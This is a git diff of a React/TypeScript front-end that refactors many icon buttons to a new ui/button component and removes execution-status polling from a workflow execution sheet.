--- a/client/src/ee/pages/embedded/integration-instance-configurations/components/integration-instance-configuration-workflow-list/IntegrationInstanceConfigurationWorkflowListItemDropDownMenu.tsx
+++ b/client/src/ee/pages/embedded/integration-instance-configurations/components/integration-instance-configuration-workflow-list/IntegrationInstanceConfigurationWorkflowListItemDropDownMenu.tsx
@@ -1,4 +1,4 @@
-import Button from '@/components/Button/Button';
+import {Button} from '@/components/ui/button';
 import {DropdownMenu, DropdownMenuContent, DropdownMenuItem, DropdownMenuTrigger} from '@/components/ui/dropdown-menu';
 import {Workflow} from '@/shared/middleware/automation/configuration';
 import {EllipsisVerticalIcon} from 'lucide-react';
@@ -15,11 +15,9 @@ const IntegrationInstanceConfigurationWorkflowListItemDropDownMenu = ({
     return (
         <DropdownMenu>
             <DropdownMenuTrigger asChild>
-                <Button
-                    icon={<EllipsisVerticalIcon className="size-4 hover:cursor-pointer" />}
-                    size="icon"
-                    variant="ghost"
-                />
+                <Button size="icon" variant="ghost">
+                    <EllipsisVerticalIcon className="size-4 hover:cursor-pointer" />
+                </Button>
             </DropdownMenuTrigger>
 
             <DropdownMenuContent align="end">
diff --git a/client/src/ee/pages/embedded/integration/components/delete/IntegrationConnectPortalDialog.tsx b/client/src/ee/pages/embedded/integration/components/delete/IntegrationConnectPortalDialog.tsx
index 81d49ae2665..2a6ed044aff 100644
--- a/client/src/ee/pages/embedded/integration/components/delete/IntegrationConnectPortalDialog.tsx
+++ b/client/src/ee/pages/embedded/integration/components/delete/IntegrationConnectPortalDialog.tsx
@@ -1,4 +1,4 @@
-import Button from '@/components/Button/Button';
+import {Button} from '@/components/ui/button';
 import {Dialog, DialogContent, DialogDescription, DialogHeader, DialogTitle} from '@/components/ui/dialog';
 import IntegrationPortalDialogContent from '@/ee/pages/embedded/integration/components/delete/IntegrationPortalDialogContent';
 import * as React from 'react';
diff --git a/client/src/ee/pages/embedded/integration/components/delete/IntegrationPortalConfigurationOverviewForm.tsx b/client/src/ee/pages/embedded/integration/components/delete/IntegrationPortalConfigurationOverviewForm.tsx
index d7e516175b5..d1b3ba20eed 100644
--- a/client/src/ee/pages/embedded/integration/components/delete/IntegrationPortalConfigurationOverviewForm.tsx
+++ b/client/src/ee/pages/embedded/integration/components/delete/IntegrationPortalConfigurationOverviewForm.tsx
@@ -1,6 +1,6 @@
 'use client';
 
-import Button from '@/components/Button/Button';
+import {Button} from '@/components/ui/button';
 import {Card, CardContent, CardDescription, CardFooter, CardHeader, CardTitle} from '@/components/ui/card';
 import {Form, FormControl, FormField, FormItem, FormMessage} from '@/components/ui/form';
 import {Textarea} from '@/components/ui/textarea';
diff --git a/client/src/ee/pages/embedded/integration/components/delete/IntegrationPortalConfigurationSettingForm.tsx b/client/src/ee/pages/embedded/integration/components/delete/IntegrationPortalConfigurationSettingForm.tsx
index 13a48b1a8c9..d85181cfdb8 100644
--- a/client/src/ee/pages/embedded/integration/components/delete/IntegrationPortalConfigurationSettingForm.tsx
+++ b/client/src/ee/pages/embedded/integration/components/delete/IntegrationPortalConfigurationSettingForm.tsx
@@ -1,4 +1,4 @@
-import Button from '@/components/Button/Button';
+import {Button} from '@/components/ui/button';
 import {Form, FormControl, FormDescription, FormField, FormItem, FormLabel, FormMessage} from '@/components/ui/form';
 import {Input} from '@/components/ui/input';
 import {Select, SelectContent, SelectItem, SelectTrigger, SelectValue} from '@/components/ui/select';
diff --git a/client/src/ee/pages/embedded/integration/components/delete/IntegrationPortalConfigurationSettings.tsx b/client/src/ee/pages/embedded/integration/components/delete/IntegrationPortalConfigurationSettings.tsx
index 451b3b201c1..c6749ed9bbd 100644
--- a/client/src/ee/pages/embedded/integration/components/delete/IntegrationPortalConfigurationSettings.tsx
+++ b/client/src/ee/pages/embedded/integration/components/delete/IntegrationPortalConfigurationSettings.tsx
@@ -1,4 +1,4 @@
-import Button from '@/components/Button/Button';
+import {Button} from '@/components/ui/button';
 import {Card, CardContent, CardDescription, CardFooter, CardHeader, CardTitle} from '@/components/ui/card';
 import {EllipsisVerticalIcon} from 'lucide-react';
 import * as React from 'react';
diff --git a/client/src/ee/pages/embedded/integration/components/delete/IntegrationPortalConfigurationWorkflowConfigurationSettings.tsx b/client/src/ee/pages/embedded/integration/components/delete/IntegrationPortalConfigurationWorkflowConfigurationSettings.tsx
index 451b937112d..a6aafadeffd 100644
--- a/client/src/ee/pages/embedded/integration/components/delete/IntegrationPortalConfigurationWorkflowConfigurationSettings.tsx
+++ b/client/src/ee/pages/embedded/integration/components/delete/IntegrationPortalConfigurationWorkflowConfigurationSettings.tsx
@@ -1,4 +1,4 @@
-import Button from '@/components/Button/Button';
+import {Button} from '@/components/ui/button';
 import {Card, CardContent, CardDescription, CardFooter, CardHeader, CardTitle} from '@/components/ui/card';
 import {EllipsisVerticalIcon} from 'lucide-react';
 import * as React from 'react';
diff --git a/client/src/ee/pages/embedded/integration/components/delete/IntegrationPortalDialogContent.tsx b/client/src/ee/pages/embedded/integration/components/delete/IntegrationPortalDialogContent.tsx
index e1e1c4d2869..1269edf8a14 100644
--- a/client/src/ee/pages/embedded/integration/components/delete/IntegrationPortalDialogContent.tsx
+++ b/client/src/ee/pages/embedded/integration/components/delete/IntegrationPortalDialogContent.tsx
@@ -1,4 +1,4 @@
-import Button from '@/components/Button/Button';
+import {Button} from '@/components/ui/button';
 import {Form, FormControl, FormDescription, FormField, FormItem, FormLabel} from '@/components/ui/form';
 import {Switch} from '@/components/ui/switch';
 import {Tabs, TabsContent, TabsList, TabsTrigger} from '@/components/ui/tabs';
diff --git a/client/src/ee/pages/embedded/integration/components/delete/IntegrationSettingsConnectionForm.tsx b/client/src/ee/pages/embedded/integration/components/delete/IntegrationSettingsConnectionForm.tsx
index e504f63ce28..f5384d3bc2a 100644
--- a/client/src/ee/pages/embedded/integration/components/delete/IntegrationSettingsConnectionForm.tsx
+++ b/client/src/ee/pages/embedded/integration/components/delete/IntegrationSettingsConnectionForm.tsx
@@ -1,4 +1,4 @@
-import Button from '@/components/Button/Button';
+import {Button} from '@/components/ui/button';
 import {Card, CardContent, CardDescription, CardFooter, CardHeader, CardTitle} from '@/components/ui/card';
 import {Form, FormControl, FormDescription, FormField, FormItem, FormLabel, FormMessage} from '@/components/ui/form';
 import {Input} from '@/components/ui/input';
diff --git a/client/src/ee/pages/embedded/integration/components/delete/IntegrationSettingsDeleteForm.tsx b/client/src/ee/pages/embedded/integration/components/delete/IntegrationSettingsDeleteForm.tsx
index bff3c6bd784..cded1057749 100644
--- a/client/src/ee/pages/embedded/integration/components/delete/IntegrationSettingsDeleteForm.tsx
+++ b/client/src/ee/pages/embedded/integration/components/delete/IntegrationSettingsDeleteForm.tsx
@@ -1,5 +1,5 @@
-import Button from '@/components/Button/Button';
 import {Alert, AlertDescription, AlertTitle} from '@/components/ui/alert';
+import {Button} from '@/components/ui/button';
 import {Card, CardContent, CardHeader, CardTitle} from '@/components/ui/card';
 import {TriangleAlertIcon} from 'lucide-react';
 import * as React from 'react';
diff --git a/client/src/ee/pages/embedded/integration/components/integration-header/IntegrationHeader.tsx b/client/src/ee/pages/embedded/integration/components/integration-header/IntegrationHeader.tsx
index a222e3a86d4..04d67917a56 100644
--- a/client/src/ee/pages/embedded/integration/components/integration-header/IntegrationHeader.tsx
+++ b/client/src/ee/pages/embedded/integration/components/integration-header/IntegrationHeader.tsx
@@ -1,4 +1,4 @@
-import Button from '@/components/Button/Button';
+import {Button} from '@/components/ui/button';
 import {Tooltip, TooltipContent, TooltipTrigger} from '@/components/ui/tooltip';
 import IntegrationVersionHistorySheet from '@/ee/pages/embedded/integration/components/IntegrationVersionHistorySheet';
 import IntegrationHeaderDeleteIntegrationAlertDialog from '@/ee/pages/embedded/integration/components/integration-header/IntegrationHeaderDeleteIntegrationAlertDialog';
@@ -292,18 +292,15 @@ const IntegrationHeader = ({
                             createWorkflowMutation={createIntegrationWorkflowMutation}
                             integrationId={integrationId}
                             triggerNode={
-                                <Tooltip>
-                                    <TooltipTrigger asChild>
-                                        <Button
-                                            className="hover:bg-background/70 [&_svg]:size-5"
-                                            icon={<PlusIcon />}
-                                            size="icon"
-                                            variant="ghost"
-                                        />
-                                    </TooltipTrigger>
-
-                                    <TooltipContent>Create new workflow</TooltipContent>
-                                </Tooltip>
+                                <Button className="hover:bg-background/70 [&_svg]:size-5" size="icon" variant="ghost">
+                                    <Tooltip>
+                                        <TooltipTrigger asChild>
+                                            <PlusIcon />
+                                        </TooltipTrigger>
+
+                                        <TooltipContent>Create new workflow</TooltipContent>
+                                    </Tooltip>
+                                </Button>
                             }
                             useGetWorkflowQuery={useGetWorkflowQuery}
                         />
diff --git a/client/src/ee/pages/embedded/integration/components/integration-header/IntegrationHeaderHistoryButton.tsx b/client/src/ee/pages/embedded/integration/components/integration-header/IntegrationHeaderHistoryButton.tsx
index 5c41ef345fa..1dcfe330faa 100644
--- a/client/src/ee/pages/embedded/integration/components/integration-header/IntegrationHeaderHistoryButton.tsx
+++ b/client/src/ee/pages/embedded/integration/components/integration-header/IntegrationHeaderHistoryButton.tsx
@@ -1,4 +1,4 @@
-import Button from '@/components/Button/Button';
+import {Button} from '@/components/ui/button';
 import {Tooltip, TooltipContent, TooltipTrigger} from '@/components/ui/tooltip';
 import {HistoryIcon} from 'lucide-react';
 
@@ -10,13 +10,9 @@ const IntegrationHeaderHistoryButton = ({onClick}: IntegrationHeaderHistoryButto
     return (
         <Tooltip>
             <TooltipTrigger asChild>
-                <Button
-                    className="hover:bg-background/70 [&_svg]:size-5"
-                    icon={<HistoryIcon />}
-                    onClick={onClick}
-                    size="icon"
-                    variant="ghost"
-                />
+                <Button className="hover:bg-background/70 [&_svg]:size-5" onClick={onClick} size="icon" variant="ghost">
+                    <HistoryIcon />
+                </Button>
             </TooltipTrigger>
 
             <TooltipContent>Integration Version History</TooltipContent>
diff --git a/client/src/ee/pages/embedded/integration/components/integration-header/IntegrationHeaderIntegrationDropDownMenu.tsx b/client/src/ee/pages/embedded/integration/components/integration-header/IntegrationHeaderIntegrationDropDownMenu.tsx
index c6c61194849..8ca0a4ac1ac 100644
--- a/client/src/ee/pages/embedded/integration/components/integration-header/IntegrationHeaderIntegrationDropDownMenu.tsx
+++ b/client/src/ee/pages/embedded/integration/components/integration-header/IntegrationHeaderIntegrationDropDownMenu.tsx
@@ -1,4 +1,4 @@
-import Button from '@/components/Button/Button';
+import {Button} from '@/components/ui/button';
 import {
     DropdownMenu,
     DropdownMenuContent,
@@ -66,12 +66,9 @@ const IntegrationHeaderIntegrationDropDownMenu = ({
                     <div>
                         <Tooltip>
                             <TooltipTrigger asChild>
-                                <Button
-                                    className="hover:bg-background/70 [&_svg]:size-5"
-                                    icon={<SettingsIcon />}
-                                    size="icon"
-                                    variant="ghost"
-                                />
+                                <Button className="hover:bg-background/70 [&_svg]:size-5" size="icon" variant="ghost">
+                                    <SettingsIcon />
+                                </Button>
                             </TooltipTrigger>
 
                             <TooltipContent>Integration Settings</TooltipContent>
diff --git a/client/src/ee/pages/embedded/integration/components/integration-header/IntegrationHeaderOutputButton.tsx b/client/src/ee/pages/embedded/integration/components/integration-header/IntegrationHeaderOutputButton.tsx
index a26c87a4738..d06f08c0a78 100644
--- a/client/src/ee/pages/embedded/integration/components/integration-header/IntegrationHeaderOutputButton.tsx
+++ b/client/src/ee/pages/embedded/integration/components/integration-header/IntegrationHeaderOutputButton.tsx
@@ -1,4 +1,4 @@
-import Button from '@/components/Button/Button';
+import {Button} from '@/components/ui/button';
 import {Tooltip, TooltipContent, TooltipTrigger} from '@/components/ui/tooltip';
 import useWorkflowEditorStore from '@/pages/platform/workflow-editor/stores/useWorkflowEditorStore';
 import {SquareChevronRightIcon} from 'lucide-react';
@@ -23,7 +23,6 @@ const IntegrationHeaderOutputButton = ({
             <TooltipTrigger asChild>
                 <Button
                     className="hover:bg-background/70 [&_svg]:size-5"
-                    icon={<SquareChevronRightIcon />}
                     onClick={() => {
                         setShowBottomPanelOpen(!showBottomPanel);
 
@@ -33,7 +32,9 @@ const IntegrationHeaderOutputButton = ({
                     }}
                     size="icon"
                     variant="ghost"
-                />
+                >
+                    <SquareChevronRightIcon />
+                </Button>
             </TooltipTrigger>
 
             <TooltipContent>Show the current workflow test execution output</TooltipContent>
diff --git a/client/src/ee/pages/embedded/integration/components/integration-header/IntegrationHeaderPublishPopover.tsx b/client/src/ee/pages/embedded/integration/components/integration-header/IntegrationHeaderPublishPopover.tsx
index 6d6f08afb49..41424317f0d 100644
--- a/client/src/ee/pages/embedded/integration/components/integration-header/IntegrationHeaderPublishPopover.tsx
+++ b/client/src/ee/pages/embedded/integration/components/integration-header/IntegrationHeaderPublishPopover.tsx
@@ -1,4 +1,4 @@
-import Button from '@/components/Button/Button';
+import {Button} from '@/components/ui/button';
 import {Form, FormControl, FormField, FormItem, FormLabel, FormMessage} from '@/components/ui/form';
 import {Popover, PopoverContent, PopoverTrigger} from '@/components/ui/popover';
 import {Textarea} from '@/components/ui/textarea';
@@ -73,18 +73,15 @@ const IntegrationHeaderPublishPopover = ({integration}: {integration: Integratio
     return (
         <Popover onOpenChange={setOpen} open={open}>
             <PopoverTrigger asChild>
-                <Tooltip>
-                    <TooltipTrigger asChild>
-                        <Button
-                            className="hover:bg-background/70 [&_svg]:size-5"
-                            icon={<CircleDotIcon />}
-                            size="icon"
-                            variant="ghost"
-                        />
-                    </TooltipTrigger>
-
-                    <TooltipContent>Publish the integration</TooltipContent>
-                </Tooltip>
+                <Button className="hover:bg-background/70 [&_svg]:size-5" size="icon" variant="ghost">
+                    <Tooltip>
+                        <TooltipTrigger asChild>
+                            <CircleDotIcon />
+                        </TooltipTrigger>
+
+                        <TooltipContent>Publish the integration</TooltipContent>
+                    </Tooltip>
+                </Button>
             </PopoverTrigger>
 
             <PopoverContent align="end" className="flex h-full w-96 flex-col justify-between space-y-4">
diff --git a/client/src/ee/pages/embedded/integration/components/integration-header/IntegrationHeaderRunButton.tsx b/client/src/ee/pages/embedded/integration/components/integration-header/IntegrationHeaderRunButton.tsx
index dc468e51486..f1e4dedd6ae 100644
--- a/client/src/ee/pages/embedded/integration/components/integration-header/IntegrationHeaderRunButton.tsx
+++ b/client/src/ee/pages/embedded/integration/components/integration-header/IntegrationHeaderRunButton.tsx
@@ -1,4 +1,4 @@
-import Button from '@/components/Button/Button';
+import {Button} from '@/components/ui/button';
 import {Tooltip, TooltipContent, TooltipTrigger} from '@/components/ui/tooltip';
 import {PlayIcon} from 'lucide-react';
 
@@ -9,11 +9,12 @@ const IntegrationHeaderRunButton = ({onRunClick, runDisabled}: {onRunClick: () =
                 <Button
                     className="hover:bg-background/70 [&_svg]:size-5"
                     disabled={runDisabled}
-                    icon={<PlayIcon className="text-success" />}
                     onClick={() => onRunClick()}
                     size="icon"
                     variant="ghost"
-                />
+                >
+                    <PlayIcon className="text-success" />
+                </Button>
             </TooltipTrigger>
 
             <TooltipContent>
diff --git a/client/src/ee/pages/embedded/integration/components/integration-header/IntegrationHeaderStopButton.tsx b/client/src/ee/pages/embedded/integration/components/integration-header/IntegrationHeaderStopButton.tsx
index 413422f00af..be84d7659c9 100644
--- a/client/src/ee/pages/embedded/integration/components/integration-header/IntegrationHeaderStopButton.tsx
+++ b/client/src/ee/pages/embedded/integration/components/integration-header/IntegrationHeaderStopButton.tsx
@@ -1,14 +1,10 @@
-import Button from '@/components/Button/Button';
+import {Button} from '@/components/ui/button';
 import {SquareIcon} from 'lucide-react';
 
 const IntegrationHeaderStopButton = ({onClick}: {onClick?: () => void}) => (
-    <Button
-        className="hover:bg-background/70 [&_svg]:size-5"
-        icon={<SquareIcon className="text-destructive" />}
-        onClick={onClick}
-        size="icon"
-        variant="ghost"
-    />
+    <Button className="hover:bg-background/70 [&_svg]:size-5" onClick={onClick} size="icon" variant="ghost">
+        <SquareIcon className="text-destructive" />
+    </Button>
 );
 
 export default IntegrationHeaderStopButton;
diff --git a/client/src/ee/pages/embedded/integration/components/integration-header/IntegrationHeaderTitle.tsx b/client/src/ee/pages/embedded/integration/components/integration-header/IntegrationHeaderTitle.tsx
index 35e57d8f50f..bda304c389b 100644
--- a/client/src/ee/pages/embedded/integration/components/integration-header/IntegrationHeaderTitle.tsx
+++ b/client/src/ee/pages/embedded/integration/components/integration-header/IntegrationHeaderTitle.tsx
@@ -1,5 +1,5 @@
 import Badge from '@/components/Badge/Badge';
-import Button from '@/components/Button/Button';
+import {Button} from '@/components/ui/button';
 import {Tooltip, TooltipContent, TooltipTrigger} from '@/components/ui/tooltip';
 import useIntegrationsLeftSidebarStore from '@/ee/pages/embedded/integration/stores/useIntegrationsLeftSidebarStore';
 import {Integration} from '@/ee/shared/middleware/embedded/configuration';
@@ -22,11 +22,12 @@ const IntegrationHeaderTitle = ({integration}: {integration: Integration}) => {
                     <TooltipTrigger asChild>
                         <Button
                             className="hover:bg-background/70 [&_svg]:size-5"
-                            icon={<PanelLeftIcon />}
                             onClick={() => setLeftSidebarOpen(!leftSidebarOpen)}
                             size="icon"
                             variant="ghost"
-                        />
+                        >
+                            <PanelLeftIcon />
+                        </Button>
                     </TooltipTrigger>
 
                     <TooltipContent>See integrations</TooltipContent>
diff --git a/client/src/ee/pages/embedded/integration/components/integration-header/IntegrationHeaderWorkflowDropDownMenu.tsx b/client/src/ee/pages/embedded/integration/components/integration-header/IntegrationHeaderWorkflowDropDownMenu.tsx
index 900f5019230..eed37a369ea 100644
--- a/client/src/ee/pages/embedded/integration/components/integration-header/IntegrationHeaderWorkflowDropDownMenu.tsx
+++ b/client/src/ee/pages/embedded/integration/components/integration-header/IntegrationHeaderWorkflowDropDownMenu.tsx
@@ -1,4 +1,4 @@
-import Button from '@/components/Button/Button';
+import {Button} from '@/components/ui/button';
 import {
     DropdownMenu,
     DropdownMenuContent,
@@ -30,12 +30,9 @@ const IntegrationHeaderWorkflowDropDownMenu = ({
                 <div>
                     <Tooltip>
                         <TooltipTrigger asChild>
-                            <Button
-                                className="hover:bg-background/70"
-                                icon={<EllipsisVerticalIcon className="size-4 hover:cursor-pointer" />}
-                                size="icon"
-                                variant="ghost"
-                            />
+                            <Button className="hover:bg-background/70" size="icon" variant="ghost">
+                                <EllipsisVerticalIcon className="size-4 hover:cursor-pointer" />
+                            </Button>
                         </TooltipTrigger>
 
                         <TooltipContent>Workflow Settings</TooltipContent>
diff --git a/client/src/ee/pages/embedded/integration/components/integrations-sidebar/IntegrationsSidebarHeader.tsx b/client/src/ee/pages/embedded/integration/components/integrations-sidebar/IntegrationsSidebarHeader.tsx
index 487431abf05..10b7aa40f5b 100644
--- a/client/src/ee/pages/embedded/integration/components/integrations-sidebar/IntegrationsSidebarHeader.tsx
+++ b/client/src/ee/pages/embedded/integration/components/integrations-sidebar/IntegrationsSidebarHeader.tsx
@@ -1,4 +1,4 @@
-import Button from '@/components/Button/Button';
+import {Button} from '@/components/ui/button';
 import {Popover, PopoverContent, PopoverTrigger} from '@/components/ui/popover';
 import {Tooltip, TooltipContent, TooltipTrigger} from '@/components/ui/tooltip';
 import useIntegrationsLeftSidebarStore from '@/ee/pages/embedded/integration/stores/useIntegrationsLeftSidebarStore';
@@ -40,12 +40,9 @@ const IntegrationsSidebarHeader = () => {
                     <div>
                         <Tooltip>
                             <TooltipTrigger asChild>
-                                <Button
-                                    className="size-8 hover:bg-muted [&_svg]:size-5"
-                                    icon={<FilterIcon />}
-                                    size="icon"
-                                    variant="ghost"
-                                />
+                                <Button className="size-8 hover:bg-muted [&_svg]:size-5" size="icon" variant="ghost">
+                                    <FilterIcon />
+                                </Button>
                             </TooltipTrigger>
 
                             <TooltipContent side="right">Filter integrations</TooltipContent>
@@ -63,11 +60,12 @@ const IntegrationsSidebarHeader = () => {
                     <TooltipTrigger asChild>
                         <Button
                             className="hover:bg-muted [&_svg]:size-5"
-                            icon={<PanelLeftIcon />}
                             onClick={() => setLeftSidebarOpen(!leftSidebarOpen)}
                             size="icon"
                             variant="ghost"
-                        />
+                        >
+                            <PanelLeftIcon />
+                        </Button>
                     </TooltipTrigger>
 
                     <TooltipContent>See integrations</TooltipContent>
diff --git a/client/src/ee/pages/embedded/workflow-executions/components/workflow-execution-sheet/WorkflowExecutionSheet.tsx b/client/src/ee/pages/embedded/workflow-executions/components/workflow-execution-sheet/WorkflowExecutionSheet.tsx
index ac7f33ba096..1de0eaf27c9 100644
--- a/client/src/ee/pages/embedded/workflow-executions/components/workflow-execution-sheet/WorkflowExecutionSheet.tsx
+++ b/client/src/ee/pages/embedded/workflow-executions/components/workflow-execution-sheet/WorkflowExecutionSheet.tsx
@@ -5,15 +5,12 @@ import WorkflowExecutionSheetWorkflowPanel from '@/ee/pages/embedded/workflow-ex
 import {useGetComponentDefinitionsQuery} from '@/ee/shared/queries/embedded/componentDefinitions.queries';
 import {useGetIntegrationWorkflowExecutionQuery} from '@/ee/shared/queries/embedded/workflowExecutions.queries';
 import {WorkflowReadOnlyProvider} from '@/pages/platform/workflow-editor/providers/workflowEditorProvider';
-import {getWorkflowStatusType} from '@/shared/components/workflow-executions/util/workflowExecution-utils';
-import {useCallback, useMemo} from 'react';
+import {useCallback} from 'react';
 import {useShallow} from 'zustand/react/shallow';
 
 import useWorkflowExecutionSheetStore from '../../stores/useWorkflowExecutionSheetStore';
 import WorkflowExecutionSheetContent from './WorkflowExecutionSheetContent';
 
-const POLLING_INTERVAL_MS = 2000;
-
 const WorkflowExecutionSheet = () => {
     const {setWorkflowExecutionSheetOpen, workflowExecutionId, workflowExecutionSheetOpen} =
         useWorkflowExecutionSheetStore(
@@ -31,20 +28,6 @@ const WorkflowExecutionSheet = () => {
         workflowExecutionSheetOpen
     );
 
-    const isWorkflowRunning = useMemo(() => {
-        if (!workflowExecution?.job) {
-            return false;
-        }
-
-        return getWorkflowStatusType(workflowExecution.job, workflowExecution.triggerExecution) === 'running';
-    }, [workflowExecution]);
-
-    useGetIntegrationWorkflowExecutionQuery(
-        {id: workflowExecutionId},
-        workflowExecutionSheetOpen && isWorkflowRunning,
-        POLLING_INTERVAL_MS
-    );
-
     const handleOpenChange = useCallback(() => {
         setWorkflowExecutionSheetOpen(!workflowExecutionSheetOpen);
     }, [workflowExecutionSheetOpen, setWorkflowExecutionSheetOpen]);
diff --git a/client/src/ee/pages/embedded/workflow-executions/components/workflow-execution-sheet/WorkflowExecutionSheetContent.tsx b/client/src/ee/pages/embedded/workflow-executions/components/workflow-execution-sheet/WorkflowExecutionSheetContent.tsx
index cf0df78aba8..1b94c7b15ea 100644
--- a/client/src/ee/pages/embedded/workflow-executions/components/workflow-execution-sheet/WorkflowExecutionSheetContent.tsx
+++ b/client/src/ee/pages/embedded/workflow-executions/components/workflow-execution-sheet/WorkflowExecutionSheetContent.tsx
@@ -7,11 +7,10 @@ import WorkflowExecutionsTaskAccordionItem from '@/shared/components/workflow-ex
 import WorkflowExecutionsTriggerAccordionItem from '@/shared/components/workflow-executions/WorkflowExecutionsTriggerAccordionItem';
 import {getTasksTree} from '@/shared/components/workflow-executions/WorkflowExecutionsUtils';
 import {Job, TaskExecution, TriggerExecution} from '@/shared/middleware/automation/workflow/execution';
-import {TabValueType} from '@/shared/types';
 import {useCallback, useMemo, useState} from 'react';
 
 const WorkflowExecutionSheetContent = ({job, triggerExecution}: {job: Job; triggerExecution?: TriggerExecution}) => {
-    const [activeTab, setActiveTab] = useState<TabValueType>('input');
+    const [activeTab, setActiveTab] = useState<'input' | 'output' | 'error'>('input');
     const [dialogOpen, setDialogOpen] = useState(false);
     const [selectedItem, setSelectedItem] = useState<TaskExecution | TriggerExecution | undefined>(
         triggerExecution || job.taskExecutions?.[0] || undefined
diff --git a/client/src/ee/pages/settings/automation/workspaces/Workspaces.tsx b/client/src/ee/pages/settings/automation/workspaces/Workspaces.tsx
index f2d648af10e..923f710bb39 100644
--- a/client/src/ee/pages/settings/automation/workspaces/Workspaces.tsx
+++ b/client/src/ee/pages/settings/automation/workspaces/Workspaces.tsx
@@ -1,6 +1,6 @@
-import Button from '@/components/Button/Button';
 import EmptyList from '@/components/EmptyList';
 import PageLoader from '@/components/PageLoader';
+import {Button} from '@/components/ui/button';
 import WorkspaceDialog from '@/ee/pages/settings/automation/workspaces/components/WorkspaceDialog';
 import WorkspaceList from '@/ee/pages/settings/automation/workspaces/components/WorkspaceList';
 import {useGetWorkspacesQuery} from '@/ee/shared/queries/automation/workspaces.queries';
diff --git a/client/src/ee/pages/settings/automation/workspaces/components/WorkspaceDialog.tsx b/client/src/ee/pages/settings/automation/workspaces/components/WorkspaceDialog.tsx
index 7d8edc03249..65cbab8b7a8 100644
--- a/client/src/ee/pages/settings/automation/workspaces/components/WorkspaceDialog.tsx
+++ b/client/src/ee/pages/settings/automation/workspaces/components/WorkspaceDialog.tsx
@@ -1,4 +1,4 @@
-import Button from '@/components/Button/Button';
+import {Button} from '@/components/ui/button';
 import {
     Dialog,
     DialogClose,
diff --git a/client/src/ee/pages/settings/automation/workspaces/components/WorkspaceListItem.tsx b/client/src/ee/pages/settings/automation/workspaces/components/WorkspaceListItem.tsx
index cf54f975173..df101d9e5cd 100644
--- a/client/src/ee/pages/settings/automation/workspaces/components/WorkspaceListItem.tsx
+++ b/client/src/ee/pages/settings/automation/workspaces/components/WorkspaceListItem.tsx
@@ -1,4 +1,3 @@
-import Button from '@/components/Button/Button';
 import {
     AlertDialog,
     AlertDialogAction,
@@ -9,6 +8,7 @@ import {
     AlertDialogHeader,
     AlertDialogTitle,
 } from '@/components/ui/alert-dialog';
+import {Button} from '@/components/ui/button';
 import {
     DropdownMenu,
     DropdownMenuContent,
@@ -81,11 +81,9 @@ const WorkspaceListItem = ({workspace}: WorkspaceListItemProps) => {
 
                 <DropdownMenu>
                     <DropdownMenuTrigger asChild>
-                        <Button
-                            icon={<EllipsisVerticalIcon className="size-4 hover:cursor-pointer" />}
-                            size="icon"
-                            variant="ghost"
-                        />
+                        <Button size="icon" variant="ghost">
+                            <EllipsisVerticalIcon className="size-4 hover:cursor-pointer" />
+                        </Button>
                     </DropdownMenuTrigger>
 
                     <DropdownMenuContent align="end">
diff --git a/client/src/ee/pages/settings/embedded/signing-keys/SigningKeys.tsx b/client/src/ee/pages/settings/embedded/signing-keys/SigningKeys.tsx
index 2a594438a51..33ea9aa9007 100644
--- a/client/src/ee/pages/settings/embedded/signing-keys/SigningKeys.tsx
+++ b/client/src/ee/pages/settings/embedded/signing-keys/SigningKeys.tsx
@@ -1,6 +1,6 @@
-import Button from '@/components/Button/Button';
 import EmptyList from '@/components/EmptyList';
 import PageLoader from '@/components/PageLoader';
+import {Button} from '@/components/ui/button';
 import SigningKeyDialog from '@/ee/pages/settings/embedded/signing-keys/components/SigningKeyDialog';
 import SigningKeyTable from '@/ee/pages/settings/embedded/signing-keys/components/SigningKeyTable';
 import {useGeSigningKeysQuery} from '@/ee/shared/queries/embedded/signingKeys.queries';
diff --git a/client/src/ee/pages/settings/embedded/signing-keys/components/SigningKeyDialog.tsx b/client/src/ee/pages/settings/embedded/signing-keys/components/SigningKeyDialog.tsx
index bbf0520b514..d071ab732fc 100644
--- a/client/src/ee/pages/settings/embedded/signing-keys/components/SigningKeyDialog.tsx
+++ b/client/src/ee/pages/settings/embedded/signing-keys/components/SigningKeyDialog.tsx
@@ -1,4 +1,4 @@
-import Button from '@/components/Button/Button';
+import {Button} from '@/components/ui/button';
 import {
     Dialog,
     DialogClose,
diff --git a/client/src/ee/pages/settings/embedded/signing-keys/components/SigningKeyTable.tsx b/client/src/ee/pages/settings/embedded/signing-keys/components/SigningKeyTable.tsx
index 3191d45a174..e15b28c3d92 100644
--- a/client/src/ee/pages/settings/embedded/signing-keys/components/SigningKeyTable.tsx
+++ b/client/src/ee/pages/settings/embedded/signing-keys/components/SigningKeyTable.tsx
@@ -1,4 +1,4 @@
-import Button from '@/components/Button/Button';
+import {Button} from '@/components/ui/button';
 import {Table, TableBody, TableCell, TableHead, TableHeader, TableRow} from '@/components/ui/table';
 import SigningKeyDeleteDialog from '@/ee/pages/settings/embedded/signing-keys/components/SigningKeyDeleteDialog';
 import SigningKeyDialog from '@/ee/pages/settings/embedded/signing-keys/components/SigningKeyDialog';
@@ -36,11 +36,12 @@ const SigningKeyTable = ({signingKeys}: SigningKeyTableProps) => {
 
                         <Button
                             className="invisible group-hover:visible"
-                            icon={<ClipboardIcon aria-hidden="true" className="size-4 text-gray-400" />}
                             onClick={() => copyToClipboard(info.getValue())}
                             size="icon"
                             variant="ghost"
-                        />
+                        >
+                            <ClipboardIcon aria-hidden="true" className="size-4 text-gray-400" />
+                        </Button>
                     </div>
                 ),
                 header: 'Key Id',
@@ -62,24 +63,26 @@ const SigningKeyTable = ({signingKeys}: SigningKeyTableProps) => {
                 cell: (info) => (
                     <>
                         <Button
-                            icon={<EditIcon className="size-4" />}
                             onClick={() => {
                                 setCurrentSigningKey(info.row.original);
                                 setShowEditDialog(true);
                             }}
                             size="icon"
                             variant="ghost"
-                        />
+                        >
+                            <EditIcon className="size-4" />
+                        </Button>
 
                         <Button
-                            icon={<Trash2Icon className="h-4 text-destructive" />}
                             onClick={() => {
                                 setCurrentSigningKey(info.row.original);
                                 setShowDeleteDialog(true);
                             }}
                             size="icon"
                             variant="ghost"
-                        />
+                        >
+                            <Trash2Icon className="h-4 text-destructive" />
+                        </Button>
                     </>
                 ),
                 header: '',
diff --git a/client/src/ee/pages/settings/platform/ai-providers/components/AiProviderForm.tsx b/client/src/ee/pages/settings/platform/ai-providers/components/AiProviderForm.tsx
index a17517fb168..9718206c87b 100644
--- a/client/src/ee/pages/settings/platform/ai-providers/components/AiProviderForm.tsx
+++ b/client/src/ee/pages/settings/platform/ai-providers/components/AiProviderForm.tsx
@@ -1,4 +1,4 @@
-import Button from '@/components/Button/Button';
